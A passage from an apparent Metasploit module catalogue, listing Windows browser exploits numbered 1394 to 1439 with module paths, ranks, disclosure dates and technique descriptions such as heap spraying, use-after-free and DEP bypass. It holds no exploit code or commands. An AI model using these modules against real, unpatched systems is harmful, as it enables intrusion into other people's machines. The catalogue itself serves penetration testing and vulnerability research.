  Space: 2048

Description:
  This module exploits a code execution vulnerability in the KeyScript
ActiveX
```

```
  control from keyhelp.ocx. It is packaged in several products or GE,
such as
  Proficy Historian 4.5, 4.0, 3.5, and 3.1, Proficy HMI/SCADA 5.1 and
5.0, Proficy
  Pulse 1.0, Proficy Batch Execution 5.6, and SI7 I/O Driver between
7.20 and 7.42.
  When the control is installed with these products, the function
"LaunchTriPane"
  will use ShellExecute to launch "hh.exe", with user controlled data
as parameters.
  Because of this, the "-decompile" option can be abused to write
arbitrary files on
  the remote system.

    Code execution can be achieved by first uploading the payload to
the remote
  machine, and then upload another mof file, which enables Windows
Management
  Instrumentation service to execute it. Please note that this module
currently only
  works for Windows before Vista.

  On the other hand, the target host must have the WebClient service
(WebDAV
  Mini-Redirector) enabled. It is enabled and automatically started by
default on
  Windows XP SP3

End Exploit Number 1394

Begin Exploit Number 1395
       Name: Logitech VideoCall ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/logitechvideocall_start
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-05-31

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in the Logitech
VideoCall ActiveX
  Control (wcamxmp.dll 2.0.3470.448). By sending an overly long string
to the
  "Start()" method, an attacker may be able to execute arbitrary code.
```

```
End Exploit Number 1395

Begin Exploit Number 1396
       Name: iseemedia / Roxio / MGI Software LPViewer ActiveX Control
Buffer Overflow
     Module: exploit/windows/browser/lpviewer_url
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-10-06

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in LPViewer ActiveX
control (LPControll.dll 3.2.0.2). When
  sending an overly long string to the URL() property an attacker may
be able to execute arbitrary code.

End Exploit Number 1396

Begin Exploit Number 1397
       Name: Macrovision InstallShield Update Service Buffer Overflow
     Module: exploit/windows/browser/macrovision_downloadandexecute
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-10-31

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in Macrovision
InstallShield Update
  Service(Isusweb.dll 6.0.100.54472). By passing an overly long
ProductCode string to
  the DownloadAndExecute method, an attacker may be able to execute
arbitrary code.

End Exploit Number 1397
```

```
Begin Exploit Number 1398
       Name: Macrovision InstallShield Update Service ActiveX Unsafe
Method
     Module: exploit/windows/browser/macrovision_unsafe
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-10-20

Payload information:
  Space: 2048

Description:
  This module allows attackers to execute code via an unsafe method in
Macrovision InstallShield 2008.

End Exploit Number 1398

Begin Exploit Number 1399
       Name: Malwarebytes Anti-Malware and Anti-Exploit Update Remote
Code Execution
     Module: exploit/windows/browser/malwarebytes_update_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2014-12-16

Payload information:

Description:
  This module exploits a vulnerability in the update functionality of
  Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes
  Anti-Exploit consumer 1.03.1.1220.
  Due to the lack of proper update package validation, a man-in-the-
middle
  (MITM) attacker could execute arbitrary code by spoofing the update
server
  data-cdn.mbamupdates.com and uploading an executable. This module
has
  been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220.

End Exploit Number 1399

Begin Exploit Number 1400
       Name: Maxthon3 about:history XCS Trusted Zone Code Execution
     Module: exploit/windows/browser/maxthon_history_xcs
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-11-26

Payload information:

Description:
  Cross Context Scripting (XCS) is possible in the Maxthon 
about:history page.
  Injection in such privileged/trusted browser zone can be used to 
modify
  configuration settings and execute arbitrary commands.

  Please note this module only works against specific versions of XCS. 
Currently,
  we've only successfully tested on Maxthon 3.1.7 build 600 up to 
3.2.2 build 1000.

End Exploit Number 1400

Begin Exploit Number 1401
       Name: McAfee Subscription Manager Stack Buffer Overflow
     Module: exploit/windows/browser/mcafee_mcsubmgr_vsprintf
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-08-01

Payload information:
  Space: 1014
  Avoid: 160 characters

Description:
  This module exploits a flaw in the McAfee Subscription Manager 
ActiveX control.
  Due to an unsafe use of vsprintf, it is possible to trigger a stack 
buffer overflow by
  passing a large string to one of the COM-exposed routines, such as 
IsAppExpired.
  This vulnerability was discovered by Karl Lynn of eEye.

End Exploit Number 1401

Begin Exploit Number 1402
       Name: McAfee Virtual Technician MVTControl 6.3.0.1911 GetObject
```

```
Vulnerability
     Module: exploit/windows/browser/mcafee_mvt_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-04-30

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in McAfee Virtual 
Technician's
  MVTControl.  This ActiveX control can be abused by using the 
GetObject() function
  to load additional unsafe classes such as WScript.Shell, therefore 
allowing remote
  code execution under the context of the user.

End Exploit Number 1402

Begin Exploit Number 1403
       Name: McAfee Visual Trace ActiveX Control Buffer Overflow
     Module: exploit/windows/browser/mcafeevisualtrace_tracetarget
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-07-07

Payload information:
  Space: 800
  Avoid: 6 characters

Description:
  This module exploits a stack buffer overflow in the McAfee Visual 
Trace 3.25 ActiveX
  Control (NeoTraceExplorer.dll 1.0.0.1). By sending an overly long 
string to the
  "TraceTarget()" method, an attacker may be able to execute arbitrary 
code.

End Exploit Number 1403

Begin Exploit Number 1404
       Name: mIRC IRC URL Buffer Overflow
     Module: exploit/windows/browser/mirc_irc_url
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2003-10-13

Payload information:
  Space: 400
  Avoid: 16 characters

Description:
  This module exploits a stack buffer overflow in mIRC 6.1. By
  submitting an overly long and specially crafted URL to
  the 'irc' protocol, an attacker can overwrite the buffer
  and control program execution.

End Exploit Number 1404

Begin Exploit Number 1405
       Name: Firefox 8/9 AttributeChildRemoved() Use-After-Free
     Module: exploit/windows/browser/mozilla_attribchildremoved
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2011-12-06

Payload information:
  Avoid: 4 characters

Description:
  This module exploits a use-after-free vulnerability in Firefox
8/8.0.1 and 9/9.0.1.
  Removal of child nodes from the nsDOMAttribute can allow for a child
  to still be accessible after removal due to a premature notification
  of AttributeChildRemoved. Since mFirstChild is not set to NULL until
  after this call is made, this means the removed child will be
accessible
  after it has been removed. By carefully manipulating the memory
layout,
  this can lead to arbitrary code execution.

End Exploit Number 1405

Begin Exploit Number 1406
       Name: Firefox onreadystatechange Event DocumentViewerImpl Use
After Free
     Module: exploit/windows/browser/
```

```
mozilla_firefox_onreadystatechange
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-06-25

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found on Firefox 17.0.6, 
specifically a use
  after free of a DocumentViewerImpl object, triggered via a specially 
crafted web
  page using onreadystatechange events and the window.stop() API, as 
exploited in the
  wild on 2013 August to target Tor Browser users.

End Exploit Number 1406

Begin Exploit Number 1407
       Name: Firefox XMLSerializer Use After Free
     Module: exploit/windows/browser/mozilla_firefox_xmlserializer
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-01-08

Payload information:
  Space: 30000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found on Firefox 17.0 (< 
17.0.2), specifically
  a use-after-free of an Element object, when using the 
serializeToStream method
  with a specially crafted OutputStream defining its own write 
function. This module
  has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 
17.0 on Windows XP
  SP3.

End Exploit Number 1407

Begin Exploit Number 1408
```

```
       Name: Mozilla Firefox Interleaved document.write/appendChild
Memory Corruption
     Module: exploit/windows/browser/mozilla_interleaved_write
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-10-25

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a code execution vulnerability in Mozilla
  Firefox caused by interleaved calls to document.write and
appendChild.
  This module was written based on a live exploit found in the wild.

End Exploit Number 1408

Begin Exploit Number 1409
       Name: Mozilla Firefox 3.6.16 mChannel Use-After-Free
Vulnerability
     Module: exploit/windows/browser/mozilla_mchannel
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-05-10

Payload information:
  Space: 1024

Description:
  This module exploits a use after free vulnerability in Mozilla
  Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
  OnChannelRedirect method of the nsIChannelEventSink Interface.
mChannel
  becomes a dangling pointer and can be reused when setting the
OBJECTs
  data attribute. (Discovered by regenrecht). This module uses
heapspray
  with a minimal ROP chain to bypass DEP on Windows XP SP3.
Additionlay,
  a windows 7 target was provided using JAVA 6 and below to avoid
aslr.
```

```
End Exploit Number 1409

Begin Exploit Number 1410
       Name: Firefox nsSVGValue Out-of-Bounds Access Vulnerability
     Module: exploit/windows/browser/mozilla_nssvgvalue
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2011-12-06

Payload information:
  Avoid: 4 characters

Description:
  This module exploits an out-of-bounds access flaw in Firefox 7 and 8 
(<= 8.0.1).
  The notification of nsSVGValue observers via 
nsSVGValue::NotifyObservers(x,y)
  uses a loop which can result in an out-of-bounds access to attacker-
controlled memory.
  The mObserver ElementAt() function (which picks up pointers), does 
not validate
  if a given index is out of bound. If a custom observer of nsSVGValue 
is created,
  which removes elements from the original observer,
  and memory layout is manipulated properly, the ElementAt() function 
might pick up
  an attacker provided pointer, which can be leveraged to gain remote 
arbitrary
  code execution.

End Exploit Number 1410

Begin Exploit Number 1411
       Name: Mozilla Firefox "nsTreeRange" Dangling Pointer 
Vulnerability
     Module: exploit/windows/browser/mozilla_nstreerange
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-02-02

Payload information:
  Space: 4096

Description:
  This module exploits a code execution vulnerability in Mozilla
Firefox
  3.6.x <= 3.6.16 and 3.5.x <= 3.5.17 found in nsTreeSelection.
  By overwriting a subfunction of invalidateSelection it is possible
to free the
  nsTreeRange object that the function currently operates on.
  Any further operations on the freed object can result in remote code
execution.
  Utilizing the call setup the function provides it's possible to
bypass DEP
  without the need for a ROP. Sadly this exploit is still either
dependent
  on Java or bound by ASLR because Firefox doesn't employ any ASLR-
free
  modules anymore.

End Exploit Number 1411

Begin Exploit Number 1412
       Name: Mozilla Firefox Array.reduceRight() Integer Overflow
     Module: exploit/windows/browser/mozilla_reduceright
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-06-21

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Mozilla Firefox 3.6.
When an
  array object is configured with a large length value, the
reduceRight() method
  may cause an invalid index being used, allowing arbitrary remote
code execution.
  Please note that the exploit requires a longer amount of time
(compare to a
  typical browser exploit) in order to gain control of the machine.

End Exploit Number 1412

Begin Exploit Number 1413
       Name: MS03-020 Microsoft Internet Explorer Object Type
     Module: exploit/windows/browser/ms03_020_ie_objecttype
   Platform: Windows
       Arch: 
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2003-06-04

Payload information:
  Space: 1000
  Avoid: 2 characters

Description:
  This module exploits a vulnerability in Internet Explorer's
  handling of the OBJECT type attribute.

End Exploit Number 1413

Begin Exploit Number 1414
       Name: MS05-054 Microsoft Internet Explorer JavaScript OnLoad
Handler Remote Code Execution
     Module: exploit/windows/browser/ms05_054_onload
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2005-11-21

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This bug is triggered when the browser handles a JavaScript 'onLoad'
handler in
  conjunction with an improperly initialized 'window()' JavaScript
function.
  This exploit results in a call to an address lower than the heap.
The javascript
  prompt() places our shellcode near where the call operand points to.
We call
  prompt() multiple times in separate iframes to place our return
address.
  We hide the prompts in a popup window behind the main window. We
spray the heap
  a second time with our shellcode and point the return address to the
heap. I use
  a fairly high address to make this exploit more reliable. IE will
crash when the
  exploit completes.  Also, please note that Internet Explorer must
allow popups
  in order to continue exploitation.
```

```
End Exploit Number 1414

Begin Exploit Number 1415
       Name: Windows XP/2003/Vista Metafile Escape() SetAbortProc Code
Execution
     Module: exploit/windows/browser/ms06_001_wmf_setabortproc
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2005-12-27

Payload information:
  Space: 1224
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the GDI library included
with
  Windows XP and 2003. This vulnerability uses the 'Escape' metafile
function
  to execute arbitrary code through the SetAbortProc procedure. This
module
  generates a random WMF record stream for each request.

End Exploit Number 1415

Begin Exploit Number 1416
       Name: MS06-013 Microsoft Internet Explorer createTextRange()
Code Execution
     Module: exploit/windows/browser/ms06_013_createtextrange
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-03-19

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a code execution vulnerability in Microsoft
Internet Explorer.
  Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in
a way, which, under
  certain circumstances, can lead to an invalid/corrupt table pointer
dereference. EIP will point
```

```
  to a very remote, non-existent memory location. This module is the 
result of merging three
  different exploit submissions and has only been reliably tested 
against Windows XP SP2.
  This vulnerability was independently discovered by multiple parties. 
The heap spray method
  used by this exploit was pioneered by Skylined.

End Exploit Number 1416

Begin Exploit Number 1417
       Name: MS06-055 Microsoft Internet Explorer VML Fill Method Code 
Execution
     Module: exploit/windows/browser/ms06_055_vml_method
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-09-19

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a code execution vulnerability in Microsoft 
Internet Explorer using
  a buffer overflow in the VML processing code (VGX.dll). This module 
has been tested on
  Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.

End Exploit Number 1417

Begin Exploit Number 1418
       Name: MS06-057 Microsoft Internet Explorer WebViewFolderIcon 
setSlice() Overflow
     Module: exploit/windows/browser/ms06_057_webview_setslice
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-07-17

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a flaw in the WebViewFolderIcon ActiveX control
  included with Windows 2000, Windows XP, and Windows 2003. This flaw
was published
  during the Month of Browser Bugs project (MoBB #18).

End Exploit Number 1418

Begin Exploit Number 1419
       Name: MS06-067 Microsoft Internet Explorer Daxctle.OCX KeyFrame
Method Heap Buffer Overflow Vulnerability
     Module: exploit/windows/browser/ms06_067_keyframe
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-11-14

Payload information:
  Space: 870

Description:
  This module exploits a heap overflow vulnerability in the KeyFrame
method of the
  direct animation ActiveX control.  This is a port of the exploit
implemented by
  Alexander Sotirov.

End Exploit Number 1419

Begin Exploit Number 1420
       Name: MS06-071 Microsoft Internet Explorer XML Core Services
HTTP Request Handling
     Module: exploit/windows/browser/ms06_071_xml_core
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-10-10

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a code execution vulnerability in Microsoft XML
Core Services which
  exists in the XMLHTTP ActiveX control. This module is the modified
version of
```

```
  http://www.milw0rm.com/exploits/2743 - credit to str0ke. This module
has been successfully
  tested on Windows 2000 SP4, Windows XP SP2, Windows 2003 Server SP0
with IE6
  + Microsoft XML Core Services 4.0 SP2.

End Exploit Number 1420

Begin Exploit Number 1421
       Name: Windows ANI LoadAniIcon() Chunk Size Stack Buffer
Overflow (HTTP)
     Module: exploit/windows/browser/ms07_017_ani_loadimage_chunksize
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2007-03-28

Payload information:
  Space: 1153

Description:
  This module exploits a buffer overflow vulnerability in the
  LoadAniIcon() function in USER32.dll. The flaw can be triggered
through
  Internet Explorer 6 and 7 by using the CURSOR style sheet directive
  to load a malicious .ANI file. The module can also exploit Mozilla
  Firefox by using a UNC path in a moz-icon URL and serving the .ANI
file
  over WebDAV. The vulnerable code in USER32.dll will catch any
  exceptions that occur while the invalid cursor is loaded, causing
the
  exploit to silently fail when the wrong target has been chosen.

  This vulnerability was discovered by Alexander Sotirov of Determina
  and was rediscovered, in the wild, by McAfee.

End Exploit Number 1421

Begin Exploit Number 1422
       Name: Snapshot Viewer for Microsoft Access ActiveX Control
Arbitrary File Download
     Module: exploit/windows/browser/ms08_041_snapshotviewer
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-07-07
```

```
Payload information:
  Space: 2048

Description:
  This module allows remote attackers to place arbitrary files on a
users file system
  via the Microsoft Office Snapshot Viewer ActiveX Control.

End Exploit Number 1422

Begin Exploit Number 1423
       Name: Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow
     Module: exploit/windows/browser/ms08_053_mediaencoder
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-09-09

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Windows Media
Encoder 9. When
  sending an overly long string to the GetDetailsString() method of
wmex.dll
  an attacker may be able to execute arbitrary code.

End Exploit Number 1423

Begin Exploit Number 1424
       Name: Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer
Overflow
     Module: exploit/windows/browser/ms08_070_visual_studio_msmask
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-08-13

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Microsoft's Visual
Studio 6.0.
  When passing a specially crafted string to the Mask parameter of the
  Mdmask32.ocx ActiveX Control, an attacker may be able to execute
arbitrary
  code.

End Exploit Number 1424

Begin Exploit Number 1425
       Name: MS08-078 Microsoft Internet Explorer Data Binding Memory
Corruption
     Module: exploit/windows/browser/ms08_078_xml_corruption
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-12-07

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the data binding feature of
Internet
  Explorer. In order to execute code reliably, this module uses
the .NET DLL
  memory technique pioneered by Alexander Sotirov and Mark Dowd. This
method is
  used to create a fake vtable at a known location with all methods
pointing
  to our payload. Since the .text segment of the .NET DLL is non-
writable, a
  prefixed code stub is used to copy the payload into a new memory
segment and
  continue execution from there.

End Exploit Number 1425

Begin Exploit Number 1426
       Name: MS09-002 Microsoft Internet Explorer 7 CFunctionPointer
Uninitialized Memory Corruption
     Module: exploit/windows/browser/ms09_002_memory_corruption
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-02-10

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits an error related to the CFunctionPointer 
function when attempting
  to access uninitialized memory. A remote attacker could exploit this 
vulnerability to
  corrupt memory and execute arbitrary code on the system with the 
privileges of the victim.

End Exploit Number 1426

Begin Exploit Number 1427
       Name: Microsoft OWC Spreadsheet HTMLURL Buffer Overflow
     Module: exploit/windows/browser/ms09_043_owc_htmlurl
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-08-11

Payload information:
  Space: 1024
  Avoid: 2 characters

Description:
  This module exploits a buffer overflow in Microsoft's Office Web 
Components.
  When passing an overly long string as the "HTMLURL" parameter an 
attacker can
  execute arbitrary code.

End Exploit Number 1427

Begin Exploit Number 1428
       Name: Microsoft OWC Spreadsheet msDataSourceObject Memory 
Corruption
     Module: exploit/windows/browser/ms09_043_owc_msdso
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-07-13
```

```
Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a memory corruption vulnerability within 
versions 10 and 11 of
  the Office Web Component Spreadsheet ActiveX control. This module 
was based on
  an exploit found in the wild.

End Exploit Number 1428

Begin Exploit Number 1429
       Name: MS09-072 Microsoft Internet Explorer Style 
getElementsByTagName Memory Corruption
     Module: exploit/windows/browser/ms09_072_style_object
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-11-20

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in the getElementsByTagName 
function
  as implemented within Internet Explorer.

End Exploit Number 1429

Begin Exploit Number 1430
       Name: MS10-002 Microsoft Internet Explorer "Aurora" Memory 
Corruption
     Module: exploit/windows/browser/ms10_002_aurora
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-01-14

Payload information:
  Space: 1000
  Avoid: 1 characters
```

```
Description:
  This module exploits a memory corruption flaw in Internet Explorer.
This
  flaw was found in the wild and was a key component of the "Operation
Aurora"
  attacks that lead to the compromise of a number of high profile
companies. The
  exploit code is a direct port of the public sample published to the
Wepawet
  malware analysis site. The technique used by this module is
currently identical
  to the public sample, as such, only Internet Explorer 6 can be
reliably exploited.

End Exploit Number 1430

Begin Exploit Number 1431
       Name: MS10-002 Microsoft Internet Explorer Object Memory Use-
After-Free
     Module: exploit/windows/browser/ms10_002_ie_object
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-01-21

Payload information:
  Space: 1000
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Internet Explorer's
  mshtml component.  Due to the way IE handles objects in memory, it
is
  possible to cause a pointer in
CTableRowCellsCollectionCacheItem::GetNext
  to be used even after it gets freed, therefore allowing remote code
  execution under the context of the user.

    This particular vulnerability was also one of 2012's Pwn2Own
  challenges, and was later explained by Peter Vreugdenhil with
exploitation
  details.  Instead of Peter's method, this module uses heap spraying
like
  the 99% to store a specially crafted memory layout before re-using
the
  freed memory.

End Exploit Number 1431
```

```
Begin Exploit Number 1432
       Name: MS10-018 Microsoft Internet Explorer DHTML Behaviors Use
After Free
     Module: exploit/windows/browser/ms10_018_ie_behaviors
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-03-09

Payload information:
  Space: 1024
  Avoid: 6 characters

Description:
  This module exploits a use-after-free vulnerability within the DHTML
behaviors
  functionality of Microsoft Internet Explorer versions 6 and 7. This
bug was
  discovered being used in-the-wild and was previously known as the
"iepeers"
  vulnerability. The name comes from Microsoft's suggested workaround
to block
  access to the iepeers.dll file.

  According to Nico Waisman, "The bug itself is when trying to persist
an object
  using the setAttribute, which end up calling VariantChangeTypeEx
with both the
  source and the destination being the same variant. So if you send as
a variant
  an IDISPATCH the algorithm will try to do a VariantClear of the
destination before
  using it. This will end up on a call to PlainRelease which deref the
reference
  and clean the object."

  NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.

End Exploit Number 1432

Begin Exploit Number 1433
       Name: MS10-018 Microsoft Internet Explorer Tabular Data Control
ActiveX Memory Corruption
     Module: exploit/windows/browser/ms10_018_ie_tabular_activex
   Platform: Windows
       Arch: 
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-03-09

Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This module exploits a memory corruption vulnerability in the 
Internet Explorer
  Tabular Data ActiveX Control. Microsoft reports that version 5.01 
and 6 of Internet
  Explorer are vulnerable.

  By specifying a long value as the "DataURL" parameter to this 
control, it is possible
  to write a NUL byte outside the bounds of an array. By targeting 
control flow data
  on the stack, an attacker can execute arbitrary code.

End Exploit Number 1433

Begin Exploit Number 1434
       Name: MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox 
Code Execution
     Module: exploit/windows/browser/ms10_022_ie_vbscript_winhlp32
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-02-26

Payload information:

Description:
  This module exploits a code execution vulnerability that occurs when 
a user
  presses F1 on MessageBox originated from VBscript within a web page. 
When the
  user hits F1, the MessageBox help functionality will attempt to load 
and use
  a HLP file from an SMB or WebDAV (if the WebDAV redirector is 
enabled) server.

  This particular version of the exploit implements a WebDAV server 
that will
  serve HLP file as well as a payload EXE. During testing warnings 
about the
```

```
  payload EXE being unsigned were witnessed. A future version of this
module
  might use other methods that do not create such a warning.

End Exploit Number 1434

Begin Exploit Number 1435
       Name: MS10-026 Microsoft MPEG Layer-3 Audio Stack Based
Overflow
     Module: exploit/windows/browser/ms10_026_avi_nsamplespersec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-04-13

Payload information:
  Space: 4000

Description:
  This module exploits a buffer overflow in l3codecx.ax while
processing a
  AVI files with MPEG Layer-3 audio contents. The overflow only allows
to overwrite
  with 0's so the three least significant bytes of EIP saved on stack
are
  overwritten and shellcode is mapped using the .NET DLL memory
technique pioneered
  by Alexander Sotirov and Mark Dowd.

  Please note on IE 8 targets, your malicious URL must be a trusted
site in order
  to load the .Net control.

End Exploit Number 1435

Begin Exploit Number 1436
       Name: Microsoft Help Center XSS and Command Execution
     Module: exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-09

Payload information:
  Space: 2048
```

```
Description:
  Help and Support Center is the default application provided to 
access online
  documentation for Microsoft Windows. Microsoft supports accessing 
help documents
  directly via URLs by installing a protocol handler for the scheme 
"hcp". Due to
  an error in validation of input to hcp:// combined with a local 
cross site
  scripting vulnerability and a specialized mechanism to launch the 
XSS trigger,
  arbitrary command execution can be achieved.

  On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is 
installed, it
  can be used to launch the exploit automatically. If IE8 and WMP11, 
either can
  be used to launch the attack, but both pop dialog boxes asking the 
user if
  execution should continue. This exploit detects if non-intrusive 
mechanisms are
  available and will use one if possible. In the case of both IE8 and 
WMP11, the
  exploit defaults to using an iframe on IE8, but is configurable by 
setting the
  DIALOGMECH option to "none" or "player".

  This module creates a WebDAV service from which the payload is 
copied to the
  victim machine.

End Exploit Number 1436

Begin Exploit Number 1437
       Name: Microsoft Windows Shell LNK Code Execution
     Module: exploit/windows/browser/ms10_046_shortcut_icon_dllloader
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-07-16

Payload information:
  Space: 2048

Description:
  This module exploits a vulnerability in the handling of Windows
  Shortcut files (.LNK) that contain an icon resource pointing to a
  malicious DLL. This module creates a WebDAV service that can be used
  to run an arbitrary payload when accessed as a UNC path.

End Exploit Number 1437

Begin Exploit Number 1438
       Name: MS10-090 Microsoft Internet Explorer CSS SetUserClip
Memory Corruption
     Module: exploit/windows/browser/ms10_090_ie_css_clip
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-11-03

Payload information:
  Space: 1024
  Avoid: 6 characters

Description:
  This module exploits a memory corruption vulnerability within
Microsoft's
  HTML engine (mshtml). When parsing an HTML page containing a
specially
  crafted CSS tag, memory corruption occurs that can lead arbitrary
code
  execution.

  It seems like Microsoft code inadvertently increments a vtable
pointer to
  point to an unaligned address within the vtable's function pointers.
This
  leads to the program counter being set to the address determined by
the
  address "[vtable+0x30+1]". The particular address depends on the
exact
  version of the mshtml library in use.

  Since the address depends on the version of mshtml, some versions
may not
  be exploitable. Specifically, those ending up with a program counter
value
  within another module, in kernel space, or just not able to be
reached with
  various memory spraying techniques.

  Also, since the address is not controllable, it is unlikely to be
possible
  to use ROP to bypass non-executable memory protections.
```

```
End Exploit Number 1438

Begin Exploit Number 1439
       Name: MS11-003 Microsoft Internet Explorer CSS Recursive Import
Use After Free
     Module: exploit/windows/browser/ms11_003_ie_css_import
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-11-29

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a memory corruption vulnerability within
Microsoft\'s
  HTML engine (mshtml). When parsing an HTML page containing a
recursive CSS
